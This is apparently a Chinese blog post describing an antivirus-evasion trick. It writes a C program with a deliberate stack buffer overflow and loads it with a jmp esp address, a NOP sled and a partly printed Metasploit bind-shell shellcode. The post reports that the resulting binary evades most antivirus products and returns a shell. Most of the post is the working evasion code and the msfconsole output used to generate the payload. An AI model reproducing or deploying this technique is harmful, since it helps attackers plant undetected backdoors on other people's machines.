思路
通过编写一具有溢出漏洞的程序,并将恶意代码写入 shellcode 中,溢出后执行 shellcode 可以绕过杀毒软件的防护。
测试环境
Platform:Windows XP SP3
Compiler:VC 6.0
测试代码
构造如下漏洞代码加载 shellcode:
#include <stdio.h>
#include <string.h>
void overflow( char * input)
{
char buf[ 4 ];
strcpy(buf, input);
}
void main()
{
char shellcode[] = "AAAAAAAA"
"/x7b/x46/x86/x7c" //jmp esp
"/x90/x90/x90/x90"
"/x90/x90/x90/x90"
"/x90/x90/x90/x90"
"/x90/x90/x90/x90"
"/x90/x90/x90/x90"
"shellcode"
"/x90/x90/x90/x90"
"/x90/x90/x90/x90"
"/x90/x90/x90/x90"
"/x90/x90/x90/x90"
"/x90/x90/x90/x90" ;
overflow(shellcode);
}
首先,通过 msfpayload
生成一 payload,进行查杀,发现大部分杀毒都会报毒:

生成 shellcode,并填入源码中:
msf > use payload/windows/shell/bind_tcp
msf payload(bind_tcp) > generate -b '/x00' -t c
/*
* windows/shell/bind_tcp - 312 bytes (stage 1 )
* http://www.metasploit.com
* Encoder : x86/shikata_ga_nai
* VERBOSE = false , LPORT = 4444 , RHOST =,
* PayloadUUIDTracking = false , EnableStageEncoding = false ,
* StageEncoderSaveRegisters =, StageEncodingFallback = true ,
* PrependMigrate = false , EXITFUNC =none, InitialAutoRunScript =,
* AutoRunScript =
*/
unsigned char buf[] =
"/xbd/x81/xf6/x2c/x43/xd9/xe9/xd9/x74/x24/xf4/x58/x31/xc9/xb1"
"/x48/x83/xc0/x04/x31/x68/x0f/x03/x68/x8e/x14/xd9/xbf/x78/x5a"
"/x22/x40/x78/x3b/xaa/xa5/x49/x7b/xc8/xae/xf9/x4b/x9a/xe3/xf5"
"/x20/xce/x17/x8e/x45/xc7/x18/x27/xe3/x31/x16/xb8/x58/x01/x39"
······
编译后发现成功绕过绝大多数杀毒软件:

成功返回 shell(test with 360):


其他
@糖果师傅说这个思路在 02 年的时候就已经被提出来个,但是不知道为什么还是可以用,估计原因是杀毒软件还是偏向于静态查杀?
附 2002 年 Xcon 上的相关资料: 溢出植入型木马(后门)的原型实现